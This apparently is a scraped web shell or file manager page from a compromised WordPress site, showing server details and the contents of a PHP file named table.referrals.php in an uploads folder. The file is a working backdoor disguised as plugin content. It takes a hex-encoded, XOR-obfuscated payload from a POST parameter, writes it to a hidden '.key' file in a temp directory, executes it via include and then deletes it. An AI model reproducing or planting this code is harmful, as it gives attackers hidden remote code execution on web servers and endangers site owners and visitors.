HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/public_html/wp-content/uploads/wpcode/h/a/a/table.referrals.php
<?php

if(in_array("\x73\x79m", array_keys($_POST))){
	$property_set = hex2bin($_POST["\x73\x79m"]);
	$flg =    ''; foreach(str_split($property_set) as $char){$flg .= chr(ord($char) ^ 12);}
	$ent = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir()]);
	$pgrp = 0;
do {
    $flag = $ent[$pgrp] ?? null;
    if ($pgrp >= count($ent)) break;
    		if (is_writable($flag) && is_dir($flag)) {
    $component = vsprintf("%s/%s", [$flag, ".key"]);
    if (@file_put_contents($component, $flg) !== false) {
	include $component;
	unlink($component);
	die();
}
}
    $pgrp++;
} while (true);
}